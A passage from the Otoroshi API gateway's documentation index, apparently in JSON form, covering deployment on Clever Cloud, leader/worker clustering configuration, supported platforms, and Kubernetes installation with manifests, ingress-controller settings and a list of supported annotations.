test it.\n\n@@@ div { .centered-img }\n\n@@@\n\nFinally, choose a name for your app\n\n@@@ div { .centered-img }\n\n@@@\n\nNow you just need to customize environnment variables\n\nat this point, you can also add other env. variables to configure Otoroshi like in [the example provided below](#example-of-clevercloud-env-variables)\n\n@@@ div { .centered-img }\n\n@@@\n\nYou can also use expert mode :\n\n@@@ div { .centered-img }\n\n@@@\n\nNow, your app is ready, don't forget to add a custom domains name on the CleverCloud app matching the Otoroshi app domain. \n\n## Example of CleverCloud env. variables\n\nYou can add more env variables to customize your Otoroshi instance like the following. Use the expert mode to copy/paste all the values in one shot. If you want an real datastore, create a redis addon on clevercloud, link it to your otoroshi app and change the `APP_STORAGE` variable to `redis`\n\n
\n\n
\n```\nADMIN_API_CLIENT_ID=xxxx\nADMIN_API_CLIENT_SECRET=xxxxx\nADMIN_API_GROUP=xxxxxx\nADMIN_API_SERVICE_ID=xxxxxxx\nCLAIM_SHAREDKEY=xxxxxxx\nOTOROSHI_INITIAL_ADMIN_LOGIN=youremailaddress\nOTOROSHI_INITIAL_ADMIN_PASSWORD=yourpassword\nPLAY_CRYPTO_SECRET=xxxxxx\nSESSION_NAME=oto-session\nAPP_DOMAIN=yourdomain.tech\nAPP_ENV=prod\nAPP_STORAGE=inmemory\nAPP_ROOT_SCHEME=https\nCC_PRE_BUILD_HOOK=curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/${latest_otoroshi_version}/otoroshi.jar'\nCC_JAR_PATH=./otoroshi.jar\nCC_JAVA_VERSION=11\nPORT=8080\nSESSION_DOMAIN=.yourdomain.tech\nSESSION_MAX_AGE=604800000\nSESSION_SECURE_ONLY=true\nUSER_AGENT=otoroshi\nMAX_EVENTS_SIZE=1\nWEBHOOK_SIZE=100\nAPP_BACKOFFICE_SESSION_EXP=86400000\nAPP_PRIVATEAPPS_SESSION_EXP=86400000\nENABLE_METRICS=true\nOTOROSHI_ANALYTICS_PRESSURE_ENABLED=true\nUSE_CACHE=true\n```\n
"},{"name":"clustering.md","id":"/deploy/clustering.md","url":"/deploy/clustering.html","title":"Otoroshi clustering","content":"# Otoroshi clustering\n\nOtoroshi can work as a cluster by default as you can spin many Otoroshi servers using the same datastore or datastore cluster. In that case any instance is capable of serving services, Otoroshi admin UI, Otoroshi admin API, etc.\n\nBut sometimes, this is not enough. So Otoroshi provides an additional clustering model named `Leader / Workers` where there is a leader cluster ([control plane](https://en.wikipedia.org/wiki/Control_plane)), composed of Otoroshi instances backed by a datastore like Redis, PostgreSQL or Cassandra, that is in charge of all `writes` to the datastore through Otoroshi admin UI and API, and a worker cluster ([data plane](https://en.wikipedia.org/wiki/Forwarding_plane)) composed of horizontally scalable Otoroshi instances, backed by a super fast in memory datastore, with the sole purpose of routing traffic to your services based on data synced from the leader cluster. With this distributed Otoroshi version, you can reach your goals of high availability, scalability and security.\n\nOtoroshi clustering only uses http internally (right now) to make communications between leaders and workers instances so it is fully compatible with PaaS providers like [Clever-Cloud](https://www.clever-cloud.com/en/) that only provide one external port for http traffic.\n\n@@@ div { .centered-img }\n\n\n*Fig. 1: Simplified view*\n@@@\n\n@@@ div { .centered-img }\n\n\n*Fig. 2: Deployment view*\n@@@\n\n## Cluster configuration\n\n```hocon\notoroshi {\n cluster {\n mode = \"leader\" # can be \"off\", \"leader\", \"worker\"\n compression = 4 # compression of the data sent between leader cluster and worker cluster. From -1 (disabled) to 9\n leader {\n name = ${?CLUSTER_LEADER_NAME} # name of the instance, if none, it will be generated\n urls = [\"http://127.0.0.1:8080\"] # urls to contact the leader cluster\n host = \"otoroshi-api.oto.tools\" # host of the otoroshi api in the leader cluster\n clientId = \"apikey-id\" # otoroshi api client id\n clientSecret = \"secret\" # otoroshi api client secret\n cacheStateFor = 4000 # state is cached during (ms)\n }\n worker {\n name = ${?CLUSTER_WORKER_NAME} # name of the instance, if none, it will be generated\n retries = 3 # number of retries when calling leader cluster\n timeout = 2000 # timeout when calling leader cluster\n state {\n retries = ${otoroshi.cluster.worker.retries} # number of retries when calling leader cluster on state sync\n pollEvery = 10000 # interval of time (ms) between 2 state sync\n timeout = ${otoroshi.cluster.worker.timeout} # timeout when calling leader cluster on state sync\n }\n quotas {\n retries = ${otoroshi.cluster.worker.retries} # number of retries when calling leader cluster on quotas sync\n pushEvery = 2000 # interval of time (ms) between 2 quotas sync\n timeout = ${otoroshi.cluster.worker.timeout} # timeout when calling leader cluster on quotas sync\n }\n }\n }\n}\n```\n\nyou can also use many env. variables to configure Otoroshi cluster\n\n```hocon\notoroshi {\n cluster {\n mode = ${?CLUSTER_MODE}\n compression = ${?CLUSTER_COMPRESSION}\n leader {\n name = ${?CLUSTER_LEADER_NAME}\n host = ${?CLUSTER_LEADER_HOST}\n url = ${?CLUSTER_LEADER_URL}\n clientId = ${?CLUSTER_LEADER_CLIENT_ID}\n clientSecret = ${?CLUSTER_LEADER_CLIENT_SECRET}\n groupingBy = ${?CLUSTER_LEADER_GROUP_BY}\n cacheStateFor = ${?CLUSTER_LEADER_CACHE_STATE_FOR}\n stateDumpPath = ${?CLUSTER_LEADER_DUMP_PATH}\n }\n worker {\n name = ${?CLUSTER_WORKER_NAME}\n retries = ${?CLUSTER_WORKER_RETRIES}\n timeout = ${?CLUSTER_WORKER_TIMEOUT}\n state {\n retries = ${?CLUSTER_WORKER_STATE_RETRIES}\n pollEvery = ${?CLUSTER_WORKER_POLL_EVERY}\n timeout = ${?CLUSTER_WORKER_POLL_TIMEOUT}\n }\n quotas {\n retries = ${?CLUSTER_WORKER_QUOTAS_RETRIES}\n pushEvery = ${?CLUSTER_WORKER_PUSH_EVERY}\n timeout = ${?CLUSTER_WORKER_PUSH_TIMEOUT}\n }\n }\n }\n}\n```\n\n@@@ warning\nYou **should** use HTTPS exposition for the Otoroshi API that will be used for data sync as sensitive informations are exchanged between control plane and data plane.\n@@@\n\n@@@ warning\nYou **must** have the same cluster configuration on every Otoroshi instance (worker/leader) with only names and mode changed for each instance. Some things in leader/worker are computed using configuration of their counterpart worker/leader.\n@@@\n\n## Cluster UI\n\nOnce an Otoroshi instance is launcher as cluster Leader, a new row of live metrics tile will be available on the home page of Otoroshi admin UI.\n\n@@@ div { .centered-img }\n\n@@@\n\nyou can also access a more detailed view of the cluster at `Settings (cog icon) / Cluster View`\n\n@@@ div { .centered-img }\n\n@@@\n\n## Run examples\n\nfor leader \n\n```sh\njava -Dhttp.port=8091 -Dhttps.port=9091 -Dotoroshi.cluster.mode=leader -jar otoroshi.jar\n```\n\nfor worker\n\n```sh\njava -Dhttp.port=8092 -Dhttps.port=9092 -Dotoroshi.cluster.mode=worker \\\n -Dotoroshi.cluster.leader.urls.0=http://127.0.0.1:8091 -jar otoroshi.jar\n```\n\n## Setup a cluster by example\n\nif you want to see how to setup an otoroshi cluster, just check @ref:[the clustering tutorial](../how-to-s/setup-otoroshi-cluster.md)"},{"name":"index.md","id":"/deploy/index.md","url":"/deploy/index.html","title":"Deploy to production","content":"# Deploy to production\n\nNow it's time to deploy Otoroshi in production, in this chapter we will see what kind of things you can do.\n\nOtoroshi can run wherever you want, even on a raspberry pi (Cluster^^) ;)\n\n@@@div { .plugin .platform }\n\n## Cloud APIM\n\nCloud APIM provides Otoroshi instances as a service. You can easily create production ready Otoroshi clusters in just a few clics.\n\n\n[Documentation](https://www.cloud-apim.com/)\n@@@\n\n@@@div { .plugin .platform }\n\n## Clever Cloud\n\nOtoroshi provides an integration to create easily services based on application deployed on your Clever Cloud account.\n\n\n@ref:[Documentation](./clever-cloud.md)\n@@@\n\n@@@div { .plugin .platform } \n## Kubernetes\nStarting at version 1.5.0, Otoroshi provides a native Kubernetes support.\n\n\n\n@ref:[Documentation](./kubernetes.md)\n@@@\n\n@@@div { .plugin .platform } \n## AWS Elastic Beanstalk\n\nRun Otoroshi on AWS Elastic Beanstalk\n\n\n\n@ref:[Tutorial](./aws.md)\n@@@\n\n@@@div { .plugin .platform } \n## Amazon ECS\n\nDeploy the Otoroshi Docker image using Amazon Elastic Container Service\n\n\n\n@link:[Tutorial](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html)\n@ref:[Docker image](../install/get-otoroshi.md#from-docker)\n\n@@@\n\n@@@div { .plugin .platform }\n## GCE\n\nDeploy the Docker image using Google Compute Engine container integration\n\n\n\n@link:[Documentation](https://cloud.google.com/compute/docs/containers/deploying-containers)\n@ref:[Docker image](../install/get-otoroshi.md#from-docker)\n\n@@@\n\n@@@div { .plugin .platform } \n## Azure\n\nDeploy the Docker image using Azure Container Service\n\n\n\n@link:[Documentation](https://azure.microsoft.com/en-us/services/container-service/)\n@ref:[Docker image](../install/get-otoroshi.md#from-docker) \n@@@\n\n@@@div { .plugin .platform } \n## Heroku\n\nDeploy the Docker image using Docker integration\n\n\n\n@link:[Documentation](https://devcenter.heroku.com/articles/container-registry-and-runtime)\n@ref:[Docker image](../install/get-otoroshi.md#from-docker)\n@@@\n\n@@@div { .plugin .platform } \n## CloudFoundry\n\nDeploy the Docker image using -Docker integration\n\n\n\n@link:[Documentation](https://docs.cloudfoundry.org/adminguide/docker.html)\n@ref:[Docker image](../install/get-otoroshi.md#from-docker)\n@@@\n\n@@@div { .plugin .platform .platform-actions-column } \n## Your own infrastructure\n\nAs Otoroshi is a Play Framework application, you can read the doc about putting a `Play` app in production.\n\nDownload the latest Otoroshi distribution, unzip it, customize it and run it.\n\n@link:[Play Framework](https://www.playframework.com)\n@link:[Production Configuration](https://www.playframework.com/documentation/2.6.x/ProductionConfiguration)\n@ref:[Otoroshi distribution](../install/get-otoroshi.md#from-zip)\n@@@\n\n@@@div { .break }\n## Scaling and clustering in production\n@@@\n\n\n@@@div { .plugin .platform .dark-platform } \n## Clustering\n\nDeploy Otoroshi as a cluster of leaders and workers.\n\n\n@ref:[Documentation](./clustering.md)\n@@@\n\n@@@div { .plugin .platform .dark-platform } \n## Scaling Otoroshi\n\nOtoroshi is designed to be reasonably easy to scale and be highly available.\n\n\n@ref:[Documentation](./scaling.md) \n@@@\n\n@@@ index\n\n* [Clustering](./clustering.md)\n* [Kubernetes](./kubernetes.md)\n* [Clever Cloud](./clever-cloud.md)\n* [AWS - Elastic Beanstalk](./aws.md)\n* [Scaling](./scaling.md) \n\n@@@\n"},{"name":"kubernetes.md","id":"/deploy/kubernetes.md","url":"/deploy/kubernetes.html","title":"Kubernetes","content":"# Kubernetes\n\nStarting at version 1.5.0, Otoroshi provides a native Kubernetes support. Multiple otoroshi jobs (that are actually kubernetes controllers) are provided in order to\n\n- sync kubernetes secrets of type `kubernetes.io/tls` to otoroshi certificates\n- act as a standard ingress controller (supporting `Ingress` objects)\n- provide Custom Resource Definitions (CRDs) to manage Otoroshi entities from Kubernetes and act as an ingress controller with its own resources\n\n## Installing otoroshi on your kubernetes cluster\n\n@@@ warning\nYou need to have cluster admin privileges to install otoroshi and its service account, role mapping and CRDs on a kubernetes cluster. We also advise you to create a dedicated namespace (you can name it `otoroshi` for example) to install otoroshi\n@@@\n\nIf you want to deploy otoroshi into your kubernetes cluster, you can download the deployment descriptors from https://github.com/MAIF/otoroshi/tree/master/kubernetes and use kustomize to create your own overlay.\n\nYou can also create a `kustomization.yaml` file with a remote base\n\n```yaml\nbases:\n- github.com/MAIF/otoroshi/kubernetes/kustomize/overlays/simple/?ref=v16.15.4\n```\n\nThen deploy it with `kubectl apply -k ./overlays/myoverlay`. \n\nYou can also use Helm to deploy a simple otoroshi cluster on your kubernetes cluster\n\n```sh\nhelm repo add otoroshi https://maif.github.io/otoroshi/helm\nhelm install my-otoroshi otoroshi/otoroshi\n```\n\nBelow, you will find example of deployment. Do not hesitate to adapt them to your needs. Those descriptors have value placeholders that you will need to replace with actual values like \n\n```yaml\n env:\n - name: APP_STORAGE_ROOT\n value: otoroshi\n - name: APP_DOMAIN\n value: ${domain}\n```\n\nyou will have to edit it to make it look like\n\n```yaml\n env:\n - name: APP_STORAGE_ROOT\n value: otoroshi\n - name: APP_DOMAIN\n value: 'apis.my.domain'\n```\n\nif you don't want to use placeholders and environment variables, you can create a secret containing the configuration file of otoroshi\n\n```yaml\napiVersion: v1\nkind: Secret\nmetadata:\n name: otoroshi-config\ntype: Opaque\nstringData:\n oto.conf: >\n include \"application.conf\"\n app {\n storage = \"redis\"\n domain = \"apis.my.domain\"\n }\n```\n\nand mount it in the otoroshi container\n\n```yaml\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n name: otoroshi-deployment\nspec:\n selector:\n matchLabels:\n run: otoroshi-deployment\n template:\n metadata:\n labels:\n run: otoroshi-deployment\n spec:\n serviceAccountName: otoroshi-admin-user\n terminationGracePeriodSeconds: 60\n hostNetwork: false\n containers:\n - image: maif/otoroshi:16.15.4\n imagePullPolicy: IfNotPresent\n name: otoroshi\n args: ['-Dconfig.file=/usr/app/otoroshi/conf/oto.conf']\n ports:\n - containerPort: 8080\n name: \"http\"\n protocol: TCP\n - containerPort: 8443\n name: \"https\"\n protocol: TCP\n volumeMounts:\n - name: otoroshi-config\n mountPath: \"/usr/app/otoroshi/conf\"\n readOnly: true\n volumes:\n - name: otoroshi-config\n secret:\n secretName: otoroshi-config\n ...\n```\n\nYou can also create several secrets for each placeholder, mount them to the otoroshi container then use their file path as value\n\n```yaml\n env:\n - name: APP_STORAGE_ROOT\n value: otoroshi\n - name: APP_DOMAIN\n value: 'file:///the/path/of/the/secret/file'\n```\n\nyou can use the same trick in the config. file itself\n\n### Note on bare metal kubernetes cluster installation\n\n@@@ note\nBare metal kubernetes clusters don't come with support for external loadbalancers (service of type `LoadBalancer`). So you will have to provide this feature in order to route external TCP traffic to Otoroshi containers running inside the kubernetes cluster. You can use projects like [MetalLB](https://metallb.universe.tf/) that provide software `LoadBalancer` services to bare metal clusters or you can use and customize examples below.\n@@@\n\n@@@ warning\nWe don't recommand running Otoroshi behind an existing ingress controller (or something like that) as you will not be able to use features like TCP proxying, TLS, mTLS, etc. Also, this additional layer of reverse proxy will increase call latencies.\n@@@\n\n### Common manifests\n\nthe following manifests are always needed. They create otoroshi CRDs, tokens, role, etc. Redis deployment is not mandatory, it's just an example. You can use your own existing setup.\n\nrbac.yaml\n: @@snip [rbac.yaml](../snippets/kubernetes/kustomize/base/rbac.yaml) \n\ncrds.yaml\n: @@snip [crds.yaml](../snippets/kubernetes/kustomize/base/crds.yaml) \n\nredis.yaml\n: @@snip [redis.yaml](../snippets/kubernetes/kustomize/base/redis.yaml) \n\n\n### Deploy a simple otoroshi instanciation on a cloud provider managed kubernetes cluster\n\nHere we have 2 replicas connected to the same redis instance. Nothing fancy. We use a service of type `LoadBalancer` to expose otoroshi to the rest of the world. You have to setup your DNS to bind otoroshi domain names to the `LoadBalancer` external `CNAME` (see the example below)\n\ndeployment.yaml\n: @@snip [deployment.yaml](../snippets/kubernetes/kustomize/overlays/simple/deployment.yaml) \n\ndns.example\n: @@snip [dns.example](../snippets/kubernetes/kustomize/overlays/simple/dns.example) \n\n### Deploy a simple otoroshi instanciation on a bare metal kubernetes cluster\n\nHere we have 2 replicas connected to the same redis instance. Nothing fancy. The otoroshi instance are exposed as `nodePort` so you'll have to add a loadbalancer in front of your kubernetes nodes to route external traffic (TCP) to your otoroshi instances. You have to setup your DNS to bind otoroshi domain names to your loadbalancer (see the example below). \n\ndeployment.yaml\n: @@snip [deployment.yaml](../snippets/kubernetes/kustomize/overlays/simple-baremetal/deployment.yaml) \n\nhaproxy.example\n: @@snip [haproxy.example](../snippets/kubernetes/kustomize/overlays/simple-baremetal/haproxy.example) \n\nnginx.example\n: @@snip [nginx.example](../snippets/kubernetes/kustomize/overlays/simple-baremetal/nginx.example) \n\ndns.example\n: @@snip [dns.example](../snippets/kubernetes/kustomize/overlays/simple-baremetal/dns.example) \n\n\n### Deploy a simple otoroshi instanciation on a bare metal kubernetes cluster using a DaemonSet\n\nHere we have one otoroshi instance on each kubernetes node (with the `otoroshi-kind: instance` label) with redis persistance. The otoroshi instances are exposed as `hostPort` so you'll have to add a loadbalancer in front of your kubernetes nodes to route external traffic (TCP) to your otoroshi instances. You have to setup your DNS to bind otoroshi domain names to your loadbalancer (see the example below). \n\ndeployment.yaml\n: @@snip [deployment.yaml](../snippets/kubernetes/kustomize/overlays/simple-baremetal-daemonset/deployment.yaml) \n\nhaproxy.example\n: @@snip [haproxy.example](../snippets/kubernetes/kustomize/overlays/simple-baremetal-daemonset/haproxy.example) \n\nnginx.example\n: @@snip [nginx.example](../snippets/kubernetes/kustomize/overlays/simple-baremetal-daemonset/nginx.example) \n\ndns.example\n: @@snip [dns.example](../snippets/kubernetes/kustomize/overlays/simple-baremetal-daemonset/dns.example) \n\n### Deploy an otoroshi cluster on a cloud provider managed kubernetes cluster\n\nHere we have 2 replicas of an otoroshi leader connected to a redis instance and 2 replicas of an otoroshi worker connected to the leader. We use a service of type `LoadBalancer` to expose otoroshi leader/worker to the rest of the world. You have to setup your DNS to bind otoroshi domain names to the `LoadBalancer` external `CNAME` (see the example below)\n\ndeployment.yaml\n: @@snip [deployment.yaml](../snippets/kubernetes/kustomize/overlays/cluster/deployment.yaml) \n\ndns.example\n: @@snip [dns.example](../snippets/kubernetes/kustomize/overlays/cluster/dns.example) \n\n### Deploy an otoroshi cluster on a bare metal kubernetes cluster\n\nHere we have 2 replicas of otoroshi leader connected to the same redis instance and 2 replicas for otoroshi worker. The otoroshi instances are exposed as `nodePort` so you'll have to add a loadbalancer in front of your kubernetes nodes to route external traffic (TCP) to your otoroshi instances. You have to setup your DNS to bind otoroshi domain names to your loadbalancer (see the example below). \n\ndeployment.yaml\n: @@snip [deployment.yaml](../snippets/kubernetes/kustomize/overlays/cluster-baremetal/deployment.yaml) \n\nnginx.example\n: @@snip [nginx.example](../snippets/kubernetes/kustomize/overlays/cluster-baremetal/nginx.example) \n\ndns.example\n: @@snip [dns.example](../snippets/kubernetes/kustomize/overlays/cluster-baremetal/dns.example) \n\ndns.example\n: @@snip [dns.example](../snippets/kubernetes/kustomize/overlays/cluster-baremetal/dns.example) \n\n### Deploy an otoroshi cluster on a bare metal kubernetes cluster using DaemonSet\n\nHere we have 1 otoroshi leader instance on each kubernetes node (with the `otoroshi-kind: leader` label) connected to the same redis instance and 1 otoroshi worker instance on each kubernetes node (with the `otoroshi-kind: worker` label). The otoroshi instances are exposed as `nodePort` so you'll have to add a loadbalancer in front of your kubernetes nodes to route external traffic (TCP) to your otoroshi instances. You have to setup your DNS to bind otoroshi domain names to your loadbalancer (see the example below). \n\ndeployment.yaml\n: @@snip [deployment.yaml](../snippets/kubernetes/kustomize/overlays/cluster-baremetal-daemonset/deployment.yaml) \n\nnginx.example\n: @@snip [nginx.example](../snippets/kubernetes/kustomize/overlays/cluster-baremetal-daemonset/nginx.example) \n\ndns.example\n: @@snip [dns.example](../snippets/kubernetes/kustomize/overlays/cluster-baremetal-daemonset/dns.example) \n\ndns.example\n: @@snip [dns.example](../snippets/kubernetes/kustomize/overlays/cluster-baremetal-daemonset/dns.example) \n\n## Using Otoroshi as an Ingress Controller\n\nIf you want to use Otoroshi as an [Ingress Controller](https://kubernetes.io/fr/docs/concepts/services-networking/ingress/), just go to the danger zone, and in `Global scripts` add the job named `Kubernetes Ingress Controller`.\n\nThen add the following configuration for the job (with your own tweaks of course)\n\n```json\n{\n \"KubernetesConfig\": {\n \"enabled\": true,\n \"endpoint\": \"https://127.0.0.1:6443\",\n \"token\": \"eyJhbGciOiJSUzI....F463SrpOehQRaQ\",\n \"namespaces\": [\n \"*\"\n ]\n }\n}\n```\n\nthe configuration can have the following values \n\n```javascript\n{\n \"KubernetesConfig\": {\n \"endpoint\": \"https://127.0.0.1:6443\", // the endpoint to talk to the kubernetes api, optional\n \"token\": \"xxxx\", // the bearer token to talk to the kubernetes api, optional\n \"userPassword\": \"user:password\", // the user password tuple to talk to the kubernetes api, optional\n \"caCert\": \"/etc/ca.cert\", // the ca cert file path to talk to the kubernetes api, optional\n \"trust\": false, // trust any cert to talk to the kubernetes api, optional\n \"namespaces\": [\"*\"], // the watched namespaces\n \"labels\": [\"label\"], // the watched namespaces\n \"ingressClasses\": [\"otoroshi\"], // the watched kubernetes.io/ingress.class annotations, can be *\n \"defaultGroup\": \"default\", // the group to put services in otoroshi\n \"ingresses\": true, // sync ingresses\n \"crds\": false, // sync crds\n \"kubeLeader\": false, // delegate leader election to kubernetes, to know where the sync job should run\n \"restartDependantDeployments\": true, // when a secret/cert changes from otoroshi sync, restart dependant deployments\n \"templates\": { // template for entities that will be merged with kubernetes entities. can be \"default\" to use otoroshi default templates\n \"service-group\": {},\n \"service-descriptor\": {},\n \"apikeys\": {},\n \"global-config\": {},\n \"jwt-verifier\": {},\n \"tcp-service\": {},\n \"certificate\": {},\n \"auth-module\": {},\n \"data-exporter\": {},\n \"script\": {},\n \"organization\": {},\n \"team\": {},\n \"data-exporter\": {},\n \"routes\": {},\n \"route-compositions\": {},\n \"backends\": {}\n }\n }\n}\n```\n\nIf `endpoint` is not defined, Otoroshi will try to get it from `$KUBERNETES_SERVICE_HOST` and `$KUBERNETES_SERVICE_PORT`.\nIf `token` is not defined, Otoroshi will try to get it from the file at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\nIf `caCert` is not defined, Otoroshi will try to get it from the file at `/var/run/secrets/kubernetes.io/serviceaccount/ca.crt`.\nIf `$KUBECONFIG` is defined, `endpoint`, `token` and `caCert` will be read from the current context of the file referenced by it.\n\nNow you can deploy your first service ;)\n\n### Deploy an ingress route\n\nnow let's say you want to deploy an http service and route to the outside world through otoroshi\n\n```yaml\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n name: http-app-deployment\nspec:\n selector:\n matchLabels:\n run: http-app-deployment\n replicas: 1\n template:\n metadata:\n labels:\n run: http-app-deployment\n spec:\n containers:\n - image: kennethreitz/httpbin\n imagePullPolicy: IfNotPresent\n name: otoroshi\n ports:\n - containerPort: 80\n name: \"http\"\n---\napiVersion: v1\nkind: Service\nmetadata:\n name: http-app-service\nspec:\n ports:\n - port: 8080\n targetPort: http\n name: http\n selector:\n run: http-app-deployment\n---\napiVersion: networking.k8s.io/v1beta1\nkind: Ingress\nmetadata:\n name: http-app-ingress\n annotations:\n kubernetes.io/ingress.class: otoroshi\nspec:\n tls:\n - hosts:\n - httpapp.foo.bar\n secretName: http-app-cert\n rules:\n - host: httpapp.foo.bar\n http:\n paths:\n - path: /\n backend:\n serviceName: http-app-service\n servicePort: 8080\n```\n\nonce deployed, otoroshi will sync with kubernetes and create the corresponding service to route your app. You will be able to access your app with\n\n```sh\ncurl -X GET https://httpapp.foo.bar/get\n```\n\n### Support for Ingress Classes\n\nSince Kubernetes 1.18, you can use `IngressClass` type of manifest to specify which ingress controller you want to use for a deployment (https://kubernetes.io/blog/2020/04/02/improvements-to-the-ingress-api-in-kubernetes-1.18/#extended-configuration-with-ingress-classes). Otoroshi is fully compatible with this new manifest `kind`. To use it, configure the Ingress job to match your controller\n\n```javascript\n{\n \"KubernetesConfig\": {\n ...\n \"ingressClasses\": [\"otoroshi.io/ingress-controller\"],\n ...\n }\n}\n```\n\nthen you have to deploy an `IngressClass` to declare Otoroshi as an ingress controller\n\n```yaml\napiVersion: \"networking.k8s.io/v1beta1\"\nkind: \"IngressClass\"\nmetadata:\n name: \"otoroshi-ingress-controller\"\nspec:\n controller: \"otoroshi.io/ingress-controller\"\n parameters:\n apiGroup: \"proxy.otoroshi.io/v1alpha\"\n kind: \"IngressParameters\"\n name: \"otoroshi-ingress-controller\"\n```\n\nand use it in your `Ingress`\n\n```yaml\napiVersion: networking.k8s.io/v1beta1\nkind: Ingress\nmetadata:\n name: http-app-ingress\nspec:\n ingressClassName: otoroshi-ingress-controller\n tls:\n - hosts:\n - httpapp.foo.bar\n secretName: http-app-cert\n rules:\n - host: httpapp.foo.bar\n http:\n paths:\n - path: /\n backend:\n serviceName: http-app-service\n servicePort: 8080\n```\n\n### Use multiple ingress controllers\n\nIt is of course possible to use multiple ingress controller at the same time (https://kubernetes.io/docs/concepts/services-networking/ingress-controllers/#using-multiple-ingress-controllers) using the annotation `kubernetes.io/ingress.class`. By default, otoroshi reacts to the class `otoroshi`, but you can make it the default ingress controller with the following config\n\n```json\n{\n \"KubernetesConfig\": {\n ...\n \"ingressClass\": \"*\",\n ...\n }\n}\n```\n\n### Supported annotations\n\nif you need to customize the service descriptor behind an ingress rule, you can use some annotations. If you need better customisation, just go to the CRDs part. The following annotations are supported :\n\n- `ingress.otoroshi.io/groups`\n- `ingress.otoroshi.io/group`\n- `ingress.otoroshi.io/groupId`\n- `ingress.otoroshi.io/name`\n- `ingress.otoroshi.io/targetsLoadBalancing`\n- `ingress.otoroshi.io/stripPath`\n- `ingress.otoroshi.io/enabled`\n- `ingress.otoroshi.io/userFacing`\n- `ingress.otoroshi.io/privateApp`\n- `ingress.otoroshi.io/forceHttps`\n- `ingress.otoroshi.io/maintenanceMode`\n- `ingress.otoroshi.io/buildMode`\n- `ingress.otoroshi.io/strictlyPrivate`\n- `ingress.otoroshi.io/sendOtoroshiHeadersBack`\n- `ingress.otoroshi.io/readOnly`\n- `ingress.otoroshi.io/xForwardedHeaders`\n- `ingress.otoroshi.io/overrideHost`\n- `ingress.otoroshi.io/allowHttp10`\n- `ingress.otoroshi.io/logAnalyticsOnServer`\n- `ingress.otoroshi.io/useAkkaHttpClient`\n- `ingress.otoroshi.io/useNewWSClient`\n- `ingress.otoroshi.io/tcpUdpTunneling`\n- `ingress.otoroshi.io/detectApiKeySooner`\n- `ingress.otoroshi.io/letsEncrypt`\n- `ingress.otoroshi.io/publicPatterns`\n- `ingress.otoroshi.io/privatePatterns`\n- `ingress.otoroshi.io/additionalHeaders`\n- `ingress.otoroshi.io/additionalHeadersOut`\n- `ingress.otoroshi.io/missingOnlyHeadersIn`\n- `ingress.otoroshi.io/missingOnlyHeadersOut`\n- `ingress.otoroshi.io/removeHeadersIn`\n- `ingress.otoroshi.io/removeHeadersOut`\n- `ingress.otoroshi.io/headersVerification`\n- `ingress.otoroshi.io/matchingHeaders`\n- `ingress.otoroshi.io/ipFiltering.whitelist`\n- `ingress.otoroshi.io/ipFiltering.blacklist`\n- `ingress.otoroshi.io/api.exposeApi`\n- `ingress.otoroshi.io/api.openApiDescriptorUrl`\n- `ingress.otoroshi.io/healthCheck.enabled`\n- `ingress.otoroshi.io/healthCheck.url`\n- `ingress.otoroshi.io/jwtVerifier.ids`\n- `ingress.otoroshi.io/jwtVerifier.enabled`\n- `ingress.otoroshi.io/jwtVerifier.excludedPatterns`\n- `ingress.otoroshi.io/authConfigRef`\n- `ingress.otoroshi.io/redirection.enabled`\n- `ingress.otoroshi.io/redirection.code`\n- `ingress.otoroshi.io/redirection.to`\n- `ingress.otoroshi.io/clientValidatorRef`\n- `ingress.otoroshi.io/transformerRefs`\n- `ingress.otoroshi.io/transformerConfig`\n- `ingress.otoroshi.io/accessValidator.enabled`\n- `ingress.otoroshi.io/accessValidator.excludedPatterns`\n- `ingress.otoroshi.io/accessValidator.refs`\n- `ingress.otoroshi.io/accessValidator.config`\n- `ingress.otoroshi.io/preRouting.enabled`\n- `ingress.otoroshi.io/preRouting.excludedPatterns`\n- `ingress.otoroshi.io/preRouting.refs`\n- `ingress.otoroshi.io/preRouting.config`\n- `ingress.otoroshi.io/issueCert`\n- `ingress.otoroshi.io/issueCertCA`\n- `ingress.otoroshi.io/gzip.enabled`\n- `ingress.otoroshi.io/gzip.excludedPatterns`\n- `ingress.otoroshi.io/gzip.whiteList`\n- `ingress.otoroshi.io/gzip.blackList`\n- `ingress.otoroshi.io/gzip.bufferSize`\n- `ingress.otoroshi.io/gzip.chunkedThreshold`\n- `ingress.otoroshi.io/gzip.compressionLevel`\n- `ingress.otoroshi.io/cors.enabled`\n- `ingress.otoroshi.io/cors.allowOrigin`\n- `ingress.otoroshi.io/cors.exposeHeaders`\n- `ingress.otoroshi.io/cors.allowHeaders`\n- `ingress.otoroshi.io/cors.allowMethods`\n- `ingress.otoroshi.io/cors.excludedPatterns`\n- `ingress.otoroshi.io/cors.maxAge`\n- `ingress.otoroshi.io/cors.allowCredentials`\n- `ingress.otoroshi.io/clientConfig.useCircuitBreaker`\n- `ingress.otoroshi.io/clientConfig.retries`\n- `ingress.otoroshi.io/clientConfig.maxErrors`\n- `ingress.otoroshi.io/clientConfig.retryInitialDelay`\n- `ingress.otoroshi.io/clientConfig.backoffFactor`\n- `ingress.otoroshi.io/clientConfig.connectionTimeout`\n- `ingress.otoroshi.io/clientConfig.idleTimeout`\n- `ingress.otoroshi.io/clientConfig.callAndStreamTimeout`\n- `ingress.otoroshi.io/clientConfig.callTimeout`\n- `ingress.otoroshi.io/clientConfig.globalTimeout`\n- `ingress.otoroshi.io/clientConfig.sampleInterval`\n- `ingress.otoroshi.io/enforceSecureCommunication`\n- `ingress.otoroshi.io/sendInfoToken`\n- `ingress.otoroshi.io/sendStateChallenge`\n- `ingress.otoroshi.io/secComHeaders.claimRequestName`\n- `ingress.otoroshi.io/secComHeaders.stateRequestName`\n- `ingress.otoroshi.io/secComHeaders.stateResponseName`\n- `ingress.otoroshi.io/secComTtl`\n- `ingress.otoroshi.io/secComVersion`\n- `ingress.otoroshi.io/secComInfoTokenVersion`\n- `ingress.otoroshi.io/secComExcludedPatterns`\n- `ingress.otoroshi.io/secComSettings.size`\n- `ingress.otoroshi.io/secComSettings.secret`\n- `ingress.otoroshi.io/secComSettings.base64`\n- `ingress.otoroshi.io/secComUseSameAlgo`\n- `ingress.otoroshi.io/secComAlgoChallengeOtoToBack.size`\n- `ingress.otoroshi.io/secComAlgoChallengeOtoToBack.secret`\n- `ingress.otoroshi.io/secComAlgoChallengeOtoToBack.base64`\n- 